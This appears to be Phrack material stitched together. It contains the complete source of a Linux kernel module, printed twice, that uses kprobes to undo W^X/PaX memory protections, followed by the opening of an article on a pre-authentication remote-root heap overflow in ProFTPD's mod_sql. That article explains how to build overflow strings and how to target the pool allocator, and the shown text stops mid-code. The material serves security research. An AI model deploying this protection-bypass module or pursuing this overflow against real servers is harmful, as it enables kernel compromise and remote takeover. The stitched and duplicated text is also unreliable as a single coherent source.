unsigned long (*_kallsyms_lookup_name)(char *) = (void *)0xc043e5d0; // change this

unsigned long (*_get_unmapped_area)(struct file *file, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags);

static struct

{

int assign_wx;

unsigned long start;

size_t len;

long prot;

} mprotect;

MODULE_LICENSE("GPL");

asmlinkage int kp_sys_mprotect(unsigned long start, size_t len, long prot) {

struct vm_area_struct *vma = current‑>mm‑>mmap;

mprotect.assign_wx = 0;

mprotect.start = start;

mprotect.prot = prot;

/* This doesn't concern us */

if (!(prot & PROT_EXEC) && !(prot & PROT_WRITE)) goto out;

down_write(&current‑>mm‑>mmap_sem);

/* Get vma for start memory area */

vma = find_vma(current‑>mm, start);

if (!vma)

goto free_sem;

if (prot & (PROT_WRITE|PROT_EXEC))

{

mprotect.assign_wx++;

goto free_sem;

}

if (prot & PROT_WRITE)

{

mprotect.assign_wx++;

goto free_sem;

}

if (prot & PROT_EXEC)

{

mprotect.assign_wx++;

goto free_sem;

}

free_sem:

up_write(&current‑>mm‑>mmap_sem);

out:

jprobe_return();

return 0;

}

/*

before the following function is executed, a W^X patch such as PaX mprotect/mmap restrictions, will have code such as:

if ((vm_flags & (VM_WRITE | VM_EXEC)) != VM_EXEC) vm_flags &= ~(VM_EXEC | VM_MAYEXEC); else

vm_flags &= ~(VM_WRITE | VM_MAYWRITE);

But our return probe gets the last say in the matter. mprotect will return like it failed (With a positive value) but the VMA's or memory maps will be both write+execute, just make sure that you don't error checking then exit if mprotect or mmap fail because they will return failed values.

*/

static int rp_mprotect(struct kretprobe_instance *ri, struct pt_regs *regs) {

struct vm_area_struct *vma;

if (!mprotect.assign_wx)

goto out;

down_write(&current‑>mm‑>mmap_sem);

/* Get vma for start memory area */

vma = find_vma(current‑>mm, mprotect.start);

if (!vma)

goto sem_out;

if (mprotect.prot & PROT_EXEC)

{

vma‑>vm_flags |= VM_MAYEXEC;

vma‑>vm_flags |= VM_EXEC;

}

if (mprotect.prot & PROT_WRITE)

{

vma‑>vm_flags |= VM_MAYWRITE;

vma‑>vm_flags |= VM_WRITE;

}

sem_out:

up_write(&current‑>mm‑>mmap_sem);

out:

return 0;

}

struct

{

unsigned long addr;

#define MMAP_CLEAN 0

#define MMAP_DIRTY 1

int mmap_prot_state;

unsigned int len;

} do_mmap_data;

/* Return probe code for sys_mmap2 */

static int rp_mmap(struct kretprobe_instance *ri, struct pt_regs *regs) {

struct vm_area_struct *vma = current‑>mm‑>mmap;

/* we are assuming the default function to get an unmapped region is arch_get_unmapped_topdown() */

if (do_mmap_data.addr ‑ regs‑>eax == do_mmap_data.len) do_mmap_data.addr = regs‑>eax;

else

goto out; // pretty unlikely

switch(do_mmap_data.mmap_prot_state)

{

case MMAP_CLEAN:

break;

case MMAP_DIRTY: // lets undo the work of the W^X patch :)

down_write(&current‑>mm‑>mmap_sem); vma = find_vma(current‑>mm, do_mmap_data.addr); if (!vma)

break;

printk("Found vma's and setting all writes and exec possibilities\n"); vma‑>vm_flags |= (VM_EXEC | VM_MAYEXEC); vma‑>vm_flags |= (VM_WRITE | VM_MAYWRITE); up_write(&current‑>mm‑>mmap_sem); break;

}

out:

return 0;

}

asmlinkage long kp_sys_mmap2(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, unsigned long pgoff)

{

struct file *file = NULL;

printk("In sys_mmap2\n");

do_mmap_data.len = len;

/* We emulate a combination of sys_mmap2 and do_mmap_pgoff */

/* This is the easiest scenario */

/* because we know the mmap addr */

if (flags & MAP_FIXED)

{

printk("MAP_FIXED\n");

do_mmap_data.addr = addr;

if ((prot & PROT_EXEC) && (prot & PROT_WRITE)) do_mmap_data.mmap_prot_state = MMAP_DIRTY; else do_mmap_data.mmap_prot_state = MMAP_CLEAN; goto out;

}

flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);

if (!(flags & MAP_ANONYMOUS))

{

file = fget(fd);

if (!file)

goto out;

}

/* mimick do_mmap_pgoff to get the linear range */

down_write(&current‑>mm‑>mmap_sem);

if (file)

{

if (!file‑>f_op || !file‑>f_op‑>mmap) goto sem_out;

}

if (!len)

goto sem_out;

len = PAGE_ALIGN(len);

if (!len || len > TASK_SIZE)

goto sem_out;

if ((pgoff + (len >> PAGE_SHIFT)) < pgoff) goto sem_out;

/* when the real sys_mmap2/do_mmap_pgoff are called

* they will get the next linear range

* which will be at do_mmap_data.addr ‑ do_mmap_data.len * This relies on get_unmapped_area() calling arch_get_unmapped_area_topdown() */

printk("get_unmapped_area call\n");

addr = _get_unmapped_area(file, addr, len, 0, flags); printk("addr: 0x%lx\n", addr);

do_mmap_data.addr = addr;

if ((prot & PROT_EXEC) && (prot & PROT_WRITE)) do_mmap_data.mmap_prot_state = MMAP_DIRTY;

else

do_mmap_data.mmap_prot_state = MMAP_CLEAN;

sem_out:

up_write(&current‑>mm‑>mmap_sem);

out:

jprobe_return();

return 0;

}

static struct jprobe sys_mmap2_jprobe =

{

.entry = (kprobe_opcode_t *)kp_sys_mmap2

};

static struct jprobe sys_mprotect_jprobe =

{

.entry = (kprobe_opcode_t *)kp_sys_mprotect

};

static struct kretprobe mprotect_kretprobe =

{

.handler = rp_mprotect,

.maxactive = 1 // this code isn't really SMP reliable

};

static struct kretprobe mmap_kretprobe =

{

.handler = rp_mmap,

.maxactive = 1 // this code isn't really SMP reliable

};

void exit_module(void)

{

unregister_jprobe(&sys_mmap2_jprobe);

unregister_jprobe(&sys_mprotect_jprobe);

unregister_kretprobe(&mprotect_kretprobe); unregister_kretprobe(&mmap_kretprobe);

}

int init_module(void)

{

int j = 0, k = 0;

_get_unmapped_area = (void *)_kallsyms_lookup_name("arch_get_unmapped_area_topdown");

sys_mmap2_jprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mmap2"); /* Register our jprobes */

if (register_jprobe(&sys_mmap2_jprobe) < 0)

goto jfail;

j++;

sys_mprotect_jprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mprotect"); if (register_jprobe(&sys_mprotect_jprobe) < 0)

goto jfail;

mprotect_kretprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mprotect"); /* Register our kretprobes */

if (register_kretprobe(&mprotect_kretprobe) < 0)

goto kfail;

k++;

mmap_kretprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mmap2"); if (register_kretprobe(&mmap_kretprobe) < 0)

goto kfail;

return 0;

jfail:

printk(KERN_EMERG "register_jprobe failed for %s\n", (!j ? "sys_mmap2" : "sys_mprotect")); kfail:

printk(KERN_EMERG "register_kretprobe failed for %s\n", (!k ? "mprotect" : "mmap"));

return ‑1;

}

module_exit(exit_module);

‑‑‑ end of code ‑‑‑

‑‑‑[ 4 ‑ Notes on rootkit detection for kprobes

If a kernel rootkit is designed soley using kprobes and properly hides itself from the kprobe entries in sysfs, then a rootkit detection program can still easily detect what kernel functions have been hooked. I will leave this obvious solution to anyone interested in adding this feature to their detectors but the answer lies in this paper as well as the kprobe documentation.

‑‑‑[ 5 ‑ Summing it all up

We have seen that the kprobe interface, which is primarily implemented for kernel debugging can be used to instrument the kernel in some interesting ways. We have explored kprobes strengths, weaknesses, and provided several examples of weakening the kernel by patching it using jprobe and kretprobe techniques. We also went over some ideas for implementing a more hacker friendly kretprobe implementation (Although we did not provide one).

It is also important to mention to people who are engineering security code that kprobes can also be used to debug kernel code, as well as install simple patches for hardening the kernel. But phrack isn't about that, so patches to harden the kernel were not included ‑‑ just know that it is possible.

‑‑‑[ 6 ‑ Greetz

kad ‑ thanks for encouraging me to write this, and being cool guy with priceless skills and good advice.

Silvio ‑ My initial inspiration for kernel and ELF hacking all started with you. You've been a good friend and mentor, many many thanks.

chrak ‑ My long time friend and occasional coding partner. 13yrs ago this guy helped me write my first backdoor program for Linux.

nynex ‑ I owe you for hosting my stuff and being a good friend.

mayhem ‑ For writing some really cool ELF code and being an inspiration.

grugq ‑ Your original AF work has been an inspiration as well.

halfdead ‑ For knowing everything about the universe and our realm *literally*

jimjones (UNIX Terrorist) ‑ you will be getting a copy of this soon, word.

All of the digitalnerds ‑‑ especially halfdead, scrippie, pronsa and abh.

#bitlackeys on EFnet, a small and strange little channel with people whom I've been friends with for years.

#formal on a secret network with extremely smart people and good conversation.

RuxCon folk are pretty much all awesome too, thanks.

‑‑‑[ 7 ‑ References

Please note that I did not use any references other than code and official documentation for this paper, but the following papers are quite relevant and since I have read them (along with many other great papers) they all play a role in my collective knowledge of kernel malware and rootkit exploration.

[1] kad ‑ Handling interrupt descriptor table for fun and profit http://www.phrack.org/issues.html?issue=59&id=4#article

[2] Halfdead ‑ Mystifying the debugger for ultimate stealthness http://www.phrack.org/issues.html?issue=65&id=8#article

[3] Silvio ‑ Kernel function hijacking (Function trampolines) http://vxheavens.com/lib/vsc08.html

‑‑‑[ 8 ‑ Code

/*

Tested on 2.6.18 kernel, on modern kernels change regs‑>eax to regs‑>ax. From the ElfMaster, 2010.

Makefile:

obj‑m += w_plus_x.o

MODULES = w_plus_x.ko

all: clean $(MODULES)

$(MODULES):

make ‑C /lib/modules/$(shell uname ‑r)/build M=$(PWD) modules

clean:

rm ‑f *.o *.ko Module.markers Module.symvers w_plus_x*.mod.c modules.order

*/

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/kprobes.h>

#include <linux/mm.h>

#include <linux/fs.h>

#include <linux/file.h>

#define PROT_READ 0x1 /* Page can be read. */

#define PROT_WRITE 0x2 /* Page can be written. */

#define PROT_EXEC 0x4 /* Page can be executed. */

#define PROT_NONE 0x0 /* Page can not be accessed. */

#define MAP_FIXED 0x10

#define MAP_ANONYMOUS 0x20 /* don't use a file */

#define MAP_GROWSDOWN 0x0100 /* stack‑like segment */

#define MAP_DENYWRITE 0x0800 /* ETXTBSY */

#define MAP_EXECUTABLE 0x1000 /* mark it as an executable */

/*

* It is preferable to write a script that gets

* kallsyms_lookup_name() from System.map and then

* passes it as a module parameter, but in this example

* we just look it up and assign it our selves, so

* make sure to change the address.

*/

unsigned long (*_kallsyms_lookup_name)(char *) = (void *)0xc043e5d0; // change this

unsigned long (*_get_unmapped_area)(struct file *file, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags);

static struct

{

int assign_wx;

unsigned long start;

size_t len;

long prot;

} mprotect;

MODULE_LICENSE("GPL");

asmlinkage int kp_sys_mprotect(unsigned long start, size_t len, long prot) {

struct vm_area_struct *vma = current‑>mm‑>mmap;

mprotect.assign_wx = 0;

mprotect.start = start;

mprotect.prot = prot;

/* This doesn't concern us */

if (!(prot & PROT_EXEC) && !(prot & PROT_WRITE)) goto out;

down_write(&current‑>mm‑>mmap_sem);

/* Get vma for start memory area */

vma = find_vma(current‑>mm, start);

if (!vma)

goto free_sem;

if (prot & (PROT_WRITE|PROT_EXEC))

{

mprotect.assign_wx++;

goto free_sem;

}

if (prot & PROT_WRITE)

{

mprotect.assign_wx++;

goto free_sem;

}

if (prot & PROT_EXEC)

{

mprotect.assign_wx++;

goto free_sem;

}

free_sem:

up_write(&current‑>mm‑>mmap_sem);

out:

jprobe_return();

return 0;

}

/*

before the following function is executed, a W^X patch such as PaX mprotect/mmap restrictions, will have code such as:

if ((vm_flags & (VM_WRITE | VM_EXEC)) != VM_EXEC) vm_flags &= ~(VM_EXEC | VM_MAYEXEC); else

vm_flags &= ~(VM_WRITE | VM_MAYWRITE);

But our return probe gets the last say in the matter. mprotect will return like it failed (With a positive value) but the VMA's or memory maps will be both write+execute, just make sure that you don't error checking then exit if mprotect or mmap fail because they will return failed values.

*/

static int rp_mprotect(struct kretprobe_instance *ri, struct pt_regs *regs) {

struct vm_area_struct *vma;

if (!mprotect.assign_wx)

goto out;

down_write(&current‑>mm‑>mmap_sem);

/* Get vma for start memory area */

vma = find_vma(current‑>mm, mprotect.start);

if (!vma)

goto sem_out;

if (mprotect.prot & PROT_EXEC)

{

vma‑>vm_flags |= VM_MAYEXEC;

vma‑>vm_flags |= VM_EXEC;

}

if (mprotect.prot & PROT_WRITE)

{

vma‑>vm_flags |= VM_MAYWRITE;

vma‑>vm_flags |= VM_WRITE;

}

sem_out:

up_write(&current‑>mm‑>mmap_sem);

out:

return 0;

}

struct

{

unsigned long addr;

#define MMAP_CLEAN 0

#define MMAP_DIRTY 1

int mmap_prot_state;

unsigned int len;

} do_mmap_data;

/* Return probe code for sys_mmap2 */

static int rp_mmap(struct kretprobe_instance *ri, struct pt_regs *regs) {

struct vm_area_struct *vma = current‑>mm‑>mmap;

/* we are assuming the default function to get an unmapped region is arch_get_unmapped_topdown() */

if (do_mmap_data.addr ‑ regs‑>eax == do_mmap_data.len) do_mmap_data.addr = regs‑>eax;

else

goto out; // pretty unlikely

switch(do_mmap_data.mmap_prot_state)

{

case MMAP_CLEAN:

break;

case MMAP_DIRTY: // lets undo the work of the W^X patch :)

down_write(&current‑>mm‑>mmap_sem); vma = find_vma(current‑>mm, do_mmap_data.addr); if (!vma)

break;

printk("Found vma's and setting all writes and exec possibilities\n"); vma‑>vm_flags |= (VM_EXEC | VM_MAYEXEC); vma‑>vm_flags |= (VM_WRITE | VM_MAYWRITE); up_write(&current‑>mm‑>mmap_sem); break;

}

out:

return 0;

}

asmlinkage long kp_sys_mmap2(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, unsigned long pgoff)

{

struct file *file = NULL;

printk("In sys_mmap2\n");

do_mmap_data.len = len;

/* We emulate a combination of sys_mmap2 and do_mmap_pgoff */

/* This is the easiest scenario */

/* because we know the mmap addr */

if (flags & MAP_FIXED)

{

printk("MAP_FIXED\n");

do_mmap_data.addr = addr;

if ((prot & PROT_EXEC) && (prot & PROT_WRITE)) do_mmap_data.mmap_prot_state = MMAP_DIRTY; else do_mmap_data.mmap_prot_state = MMAP_CLEAN; goto out;

}

flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);

if (!(flags & MAP_ANONYMOUS))

{

file = fget(fd);

if (!file)

goto out;

}

/* mimick do_mmap_pgoff to get the linear range */

down_write(&current‑>mm‑>mmap_sem);

if (file)

{

if (!file‑>f_op || !file‑>f_op‑>mmap) goto sem_out;

}

if (!len)

goto sem_out;

len = PAGE_ALIGN(len);

if (!len || len > TASK_SIZE)

goto sem_out;

if ((pgoff + (len >> PAGE_SHIFT)) < pgoff) goto sem_out;

/* when the real sys_mmap2/do_mmap_pgoff are called

* they will get the next linear range

* which will be at do_mmap_data.addr ‑ do_mmap_data.len * This relies on get_unmapped_area() calling arch_get_unmapped_area_topdown() */

printk("get_unmapped_area call\n");

addr = _get_unmapped_area(file, addr, len, 0, flags); printk("addr: 0x%lx\n", addr);

do_mmap_data.addr = addr;

if ((prot & PROT_EXEC) && (prot & PROT_WRITE)) do_mmap_data.mmap_prot_state = MMAP_DIRTY;

else

do_mmap_data.mmap_prot_state = MMAP_CLEAN;

sem_out:

up_write(&current‑>mm‑>mmap_sem);

out:

jprobe_return();

return 0;

}

static struct jprobe sys_mmap2_jprobe =

{

.entry = (kprobe_opcode_t *)kp_sys_mmap2

};

static struct jprobe sys_mprotect_jprobe =

{

.entry = (kprobe_opcode_t *)kp_sys_mprotect

};

static struct kretprobe mprotect_kretprobe =

{

.handler = rp_mprotect,

.maxactive = 1 // this code isn't really SMP reliable

};

static struct kretprobe mmap_kretprobe =

{

.handler = rp_mmap,

.maxactive = 1 // this code isn't really SMP reliable

};

void exit_module(void)

{

unregister_jprobe(&sys_mmap2_jprobe);

unregister_jprobe(&sys_mprotect_jprobe);

unregister_kretprobe(&mprotect_kretprobe); unregister_kretprobe(&mmap_kretprobe);

}

int init_module(void)

{

int j = 0, k = 0;

_get_unmapped_area = (void *)_kallsyms_lookup_name("arch_get_unmapped_area_topdown");

sys_mmap2_jprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mmap2"); /* Register our jprobes */

if (register_jprobe(&sys_mmap2_jprobe) < 0)

goto jfail;

j++;

sys_mprotect_jprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mprotect"); if (register_jprobe(&sys_mprotect_jprobe) < 0)

goto jfail;

mprotect_kretprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mprotect"); /* Register our kretprobes */

if (register_kretprobe(&mprotect_kretprobe) < 0)

goto kfail;

k++;

mmap_kretprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mmap2"); if (register_kretprobe(&mmap_kretprobe) < 0)

goto kfail;

return 0;

jfail:

printk(KERN_EMERG "register_jprobe failed for %s\n", (!j ? "sys_mmap2" : "sys_mprotect")); kfail:

printk(KERN_EMERG "register_kretprobe failed for %s\n", (!k ? "mprotect" : "mmap"));

return ‑1;

}

module_exit(exit_module);

ProFTPD with mod_sql pre-authentication, remote root

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x07 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑=[ ProFTPD with mod_sql pre‑authentication, remote root ]=‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ heap overflow ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ max_packetz@felinemenace.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1 ‑ Introduction

2 ‑ The vulnerability

2.1 ‑ Tags explained

2.2 ‑ Generating overflow strings

3 ‑ Exploring what we can control

3.1 ‑ Automating tasks

3.2 ‑ ProFTPD Pool allocator

3.3 ‑ Examining backtraces

3.3.1 ‑ 11380f2c8ce44d29b93b9bc6308692ae backtrace 3.3.2 ‑ 2813d637d735be610a460a75db061f6b backtrace 3.3.3 ‑ 3d10e2a054d8124ab4de5b588c592830 backtrace 3.3.4 ‑ 844319188798d7742af43d10f6541a61 backtrace 3.3.5 ‑ 914b175392625fe75c2b16dc18bfb250 backtrace 3.3.6 ‑ b975726b4537662f3f5ddf377ea26c20 backtrace 3.3.7 ‑ ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace 3.3.8 ‑ f1bfd5428c97b9d68a4beb6fb8286b70 backtrace 3.3.9 ‑ Summary

3.4 ‑ Exploitation avenues

3.4.1 ‑ Shellcode approach

3.4.2 ‑ Data manipulation

4 ‑ Writing an exploit

4.1 ‑ Exploitation via arbitrary pointer return

4.2 ‑ Cleanup structure crash

4.3 ‑ Potential enhancements

4.4 ‑ Last thoughts

5 ‑ Discussion of hardening techniques against exploitation 5.1 ‑ Address Space Layout Randomisation

5.2 ‑ Non‑executable Memory

5.3 ‑ Position Independent Binaries

5.4 ‑ Stack Protector

5.5 ‑ RelRO

6 ‑ References

‑‑[ 1 ‑ Introduction

This paper describes and explores a pre‑authentication remote root heap overflow in the ProFTPD [1] FTP server. It's not quite a standard overflow, due to the how the ProFTPD heap works, and how the bug is exploited via variable substition.

The vulnerability was inadvertently mitigated (from remote root, at least :( ) when the ProFTPD developers fixed a separate vulnerability in mod_sql where you could inject SQL and bypass authentication. That vulnerability that mitigated it is documented in CVE‑2009‑0542.

The specific vulnerability we are exploring is an unbounded copy operation in sql_prepare_where(), which has not been fixed yet.

Also, I'd like to preemptively apologise for the attached code. It evolved over time in piecemeal fashion, and isn't overly pretty/readable by now :p

‑‑[ 2 ‑ The vulnerability

The vulnerability itself is a little contrived, but bare with me:

In contrib/mod_sql.c, _sql_getpasswd(), we have the following code (line numbers from ProFTPD 1.3.2rc2):

‑‑‑

1132 if (!cmap.usercustom) {

1133 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere,

NULL);

1134

1135 mr = _sql_dispatch(_sql_make_cmd(cmd‑>tmp_pool, 5, "default", 1136 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select"); 1137

‑‑‑

Where usrwhere is in the form of:

(<table name for user column> = 'USERNAME')

Inside of sql_prepare_where() is where all the fun takes place:

‑‑‑

770 static char *sql_prepare_where(int flags, cmd_rec *cmd, int cnt, ...) { 771 int i, flag, nclauses = 0;

772 int curr_avail;

773 char *buf = "", *res;

774 va_list dummy;

775

776 res = pcalloc(cmd‑>tmp_pool, SQL_MAX_STMT_LEN); [1] 777

778 flag = 0;

779 va_start(dummy, cnt);

780 for (i = 0; i < cnt; i++) {

781 char *clause = va_arg(dummy, char *);

782 if (clause != NULL &&

783 *clause != '\0') {

784 nclauses++;

785

786 if (flag++)

787 buf = pstrcat(cmd‑>tmp_pool, buf, " AND ", NULL); 788 buf = pstrcat(cmd‑>tmp_pool, buf, "(", clause, ")", NULL); 789 }

790 }

791 va_end(dummy);

792

793 if (nclauses == 0)

794 return NULL;

795

796 if (!(flags & SQL_PREPARE_WHERE_FL_NO_TAGS)) { [2] 797 char *curr, *tmp;

798

799 /* Process variables in WHERE clauses, except any "%{num}"

references. */

800 curr = res;

801 curr_avail = SQL_MAX_STMT_LEN;

802

803 for (tmp = buf; *tmp; ) {

804 char *str;

805 modret_t *mr;

806

807 if (*tmp == '%') {

808 char *tag = NULL;

809

810 if (*(++tmp) == '{') {

811 char *query;

812

813 if (*tmp != '\0')

814 query = ++tmp;

815

816 while (*tmp && *tmp != '}')

817 tmp++;

818

819 tag = pstrndup(cmd‑>tmp_pool, query, (tmp ‑ query)); 820 if (tag) {

821 str = resolve_long_tag(cmd, tag); [3] 822 if (!str)

823 str = pstrdup(cmd‑>tmp_pool, "");

824

825 mr = _sql_dispatch(_sql_make_cmd(cmd‑>tmp_pool, 2, "default",

826 str), "sql_escapestring");

827 if (check_response(mr) < 0)

828 return NULL;

829

830 sstrcat(curr, mr‑>data, curr_avail);

831 curr += strlen(mr‑>data);

832 curr_avail ‑= strlen(mr‑>data);

833

834 if (*tmp != '\0')

835 tmp++;

836

837 } else {

838 return NULL;

839 }

840

841 } else {

842 str = resolve_short_tag(cmd, *tmp); [4] 843 mr = _sql_dispatch(_sql_make_cmd(cmd‑>tmp_pool, 2,"default", 844 str), "sql_escapestring");

845 if (check_response(mr) < 0)

846 return NULL;

847

848 sstrcat(curr, mr‑>data, curr_avail);

849 curr += strlen(mr‑>data);

850 curr_avail ‑= strlen(mr‑>data);

851

852 if (*tmp != '\0')

853 tmp++;

854 }

855

856 } else { 5]

857 *curr++ = *tmp++;

858 curr_avail‑‑;

859 }

860 }

861 *curr++ = '\0';

862

863 } else {

864 res = buf;

865 }

866

867 return res;

868 }

869

‑‑‑

At [1], memory is allocated. SQL_MAX_STMT_LEN is defined as 4096 bytes. That should be plenty for <300 bytes, right?

At [2], flags are checked to see if "tags" should be expanded. In the case we are interested in, tags are expanded.

At [3], we see that "long tags" are expandable, and that they are surrounded by %{ and finished with }. We'll ignore them for now. They take up too much input space in regards to the output length.

At [4], we see that they have concepts of "short" tags, consisting of one byte.

At [5], we see that they have an unbounded one byte copy operation, inside of a suitable loop.

Now, we need to cover tags to see what we can do with it:

‑‑‑‑‑‑[ 2.1 Tags explained

For the path we're interested in, we'll cover "short" tags (longer tags are not all interesting, and for reasons explained later on).

Looking at resolve_short_tag(), we see the following (heavily snipped for brevity):

‑‑‑

1719 static char *resolve_short_tag(cmd_rec *cmd, char tag) { 1720 char arg[256] = {'\0'}, *argp;

1721

1722 switch (tag) {

1723 case 'A': {

1724 char *pass;

1725

1726 argp = arg;

1727 pass = get_param_ptr(main_server‑>conf, C_PASS, FALSE); 1728 if (!pass)

1729 pass = "UNKNOWN";

1730

1731 sstrncpy(argp, pass, sizeof(arg));

1732 }

1733 break;

1734

1735 case 'a':

1736 argp = arg;

1737 sstrncpy(argp, pr_netaddr_get_ipstr(pr_netaddr_get_sess_remote_addr()), 1738 sizeof(arg));

1739 break;

1740

...

1914 case 'm':

1915 argp = arg;

1916 sstrncpy(argp, cmd‑>argv[0], sizeof(arg));

1917 break;

1918

...

1929 case 'r':

1930 argp = arg;

1931 if (strcmp(cmd‑>argv[0], C_PASS) == 0 &&

1932 session.hide_password)

1933 sstrncpy(argp, C_PASS " (hidden)", sizeof(arg)); 1934

1935 else

1936 sstrncpy(argp, get_full_cmd(cmd), sizeof(arg)); 1937 break;

1938

...

1954 case 'T':

1955 argp = arg;

1956 if (session.xfer.p) {

...

1974 } else

1975 sstrncpy(argp, "0.0", sizeof(arg));

1976

1977 break;

...

2021

2022 default:

2023 argp = "{UNKNOWN TAG}";

2024 break;

2025 }

2026

2027 return pstrdup(cmd‑>tmp_pool, argp);

2028 }

2029

‑‑‑

So, as you can see, tags are a form of variable substitution. %m and %r allow us to "duplicate" our input, %a allows us to copy our IP address, %T gives us 0.0 (since we're not transferring anything at the moment, and %Z (handled by the default case) gives us "{UNKNOWN TAG}".

By combining these, we can generate strings that expand past the allocated size in sql_prepare_where, due to the unbounded copy.

Firstly, we'll look at what those inputs would generate, then we'll look at how to generate suitable overflow strings.

Firstly, the string "AAA%m" once processed would come out looking like:

AAAAAA%m

The string "AAA%m%m" would look like:

AAAAAA%mAAA%m

Unfortunately the string to be expanded isn't as clean as that, it's:

(<name of user entry in table> = 'USER INPUT')\x00

The default of the table field is "userid". Due to the ')\x00 at the end, we can't do arbitrary off‑by‑1 or 2 overwrites. It's possible that \x00 or \x29 could be useful, in some situations however.

Enough chars / %m's etc would expand past 4096 bytes, and start overwriting other information stored on the heap. Tags enable exploitation of this issue via it's input duplication. They also have a significant effect on the heap, for better or worse.

(As a side note, contrib/mod_rewrite.c has %m tag support as well. Since it seems a little unlikely to hit that pre‑auth, it wasn't investigated further..)

‑‑‑‑‑‑[ 2.2 Generating overflow strings

One initial complication we had in exploring this vulnerability further was due to making an overflow string that once processed would expand to a suitable size. (As an example, overflow our own arbitrary content 32 bytes past 4096).

We solved this problem with using a constraint solver to generate the appropriate strings for us, thus solving an otherwise annoying situation (it being a little messy to calculate how much we need, since touching one thing can dramatically throw off the rest of the calculations, as an example, removing one A character would reduce it by one + (one * amount_of_%m_tags)).

In exploring the vulnerability, we used python‑constraint [2].

We used several constraints:

‑ Input string must be less than 256 bytes.

‑ The parsed string must overflow by exactly X+2 (due to ') added to the end bytes.

‑ One/two others that I've forgotten about as I write this up.

We split the strings into "fakeauth" strings, and "trigger" strings. The fakeauth strings are designed to consume/allocate a certain amount of memory, and the trigger strings are designed to overwrite a bunch of bytes after the allocation.

Fakeauth strings seem to be required for maximum control of the remote process, but it's possible it's not required at all.

By mixing the %m's / %a's / %Z's up, it is possible to change memory allocation / deallocation order, and thus explore/affect where it crashes.

While the %a tags are useful in experimenting, they are not ideal, as you then need to take your local IP address into account when exploiting remote hosts.

‑‑[ 3 ‑ Exploring what we can control

‑‑‑‑‑‑[ 3.1 ‑ Automating tasks

I'm a big fan of automating as much stuff as possible. In order to get a ten thousand foot view of what I can do, I used python‑ptrace [3] and pyevolve [4] to:

‑ Generate input strings

‑ Debug proftpd and record before/after overwriting the memory allocated in sql_prepare_where

‑ Analyze how "interesting" the results of input strings where. ‑ Process exited? Completely uninteresting.

‑ SEGV'd?

‑ Gather backtraces / register contents / see if the program crashed with our directly controllable user input / etc.

Pyevolve, for the most part, was useful for mutating the input strings to explore the code paths leading to crashes..

By doing these tasks, I was able to find the more interesting paths that could easily be hit, while I was flicking over the ProFTPD pool allocator ...

‑‑‑‑‑‑[ 3.2 ‑ ProFTPD Pool allocator

A high level overview for the ProFTPD pool allocator (src/pool.c) is given at [5], but here are the quick nuts and bolts of it:

‑ Pools are allocated, and is subdivided into blocks.

‑ Pools have cleanup handlers (very useful ‑ used in proftpd‑not‑pro‑enough [6] exploit by solar to gain code execution).

‑ More blocks are malloc()'d if the pool is out of space.

‑ Memory is never free()'d unless developer mode is enabled, and that's only at daemon shut down.

‑ In order to allocate memory, the single linked list of free blocks is checked to see if the allocation request can be satisfied first without calling malloc().

The pool structure is defined as:

‑‑‑

196 struct pool {

197 union block_hdr *first;

198 union block_hdr *last;

199 struct cleanup *cleanups;

200 struct pool *sub_pools;

201 struct pool *sub_next;

202 struct pool *sub_prev;

203 struct pool *parent;

204 char *free_first_avail;

205 const char *tag;

206 };

‑‑‑

The cleanup structure looks like:

‑‑‑

655 typedef struct cleanup {

656 void *data;

657 void (*plain_cleanup_cb)(void *);

658 void (*child_cleanup_cb)(void *);

659 struct cleanup *next;

660 } cleanup_t;

‑‑‑

Overwriting a cleanup structure, or a pool structure, would allow us to arbitrarily execute code when the pool is cleared/destroyed.

The block structure is defined as:

‑‑‑

46 union block_hdr {

47 union align a;

48

49 /* Padding */

50 #if defined(_LP64) || defined(__LP64__)

51 char pad[32];

52 #endif

53

54 /* Actual header */

55 struct {

56 char *endp;

57 union block_hdr *next;

58 char *first_avail;

59 } h;

60 };

‑‑‑

Now, we trace pcalloc() as it's called in sql_prepare_where() (and numerously throughout the ProFTPD code), just to see what situations will allow us to return pointers that we control. Controlling these returned pointers would allow us to overwrite arbitrary memory, hopefully with content that we can control.

‑‑‑

481 void *pcalloc(struct pool *p, int sz) {

482 void *res = palloc(p, sz);

483 memset(res, '\0', sz);

484 return res;

485 }

‑‑‑

gives us:

‑‑‑

473 void *palloc(struct pool *p, int sz) {

474 return alloc_pool(p, sz, FALSE);

475 }

‑‑‑

which in turn gives us:

‑‑‑

435 static void *alloc_pool(struct pool *p, int reqsz, int exact) { 436

437 /* Round up requested size to an even number of aligned units */

438 int nclicks = 1 + ((reqsz ‑ 1) / CLICK_SZ);
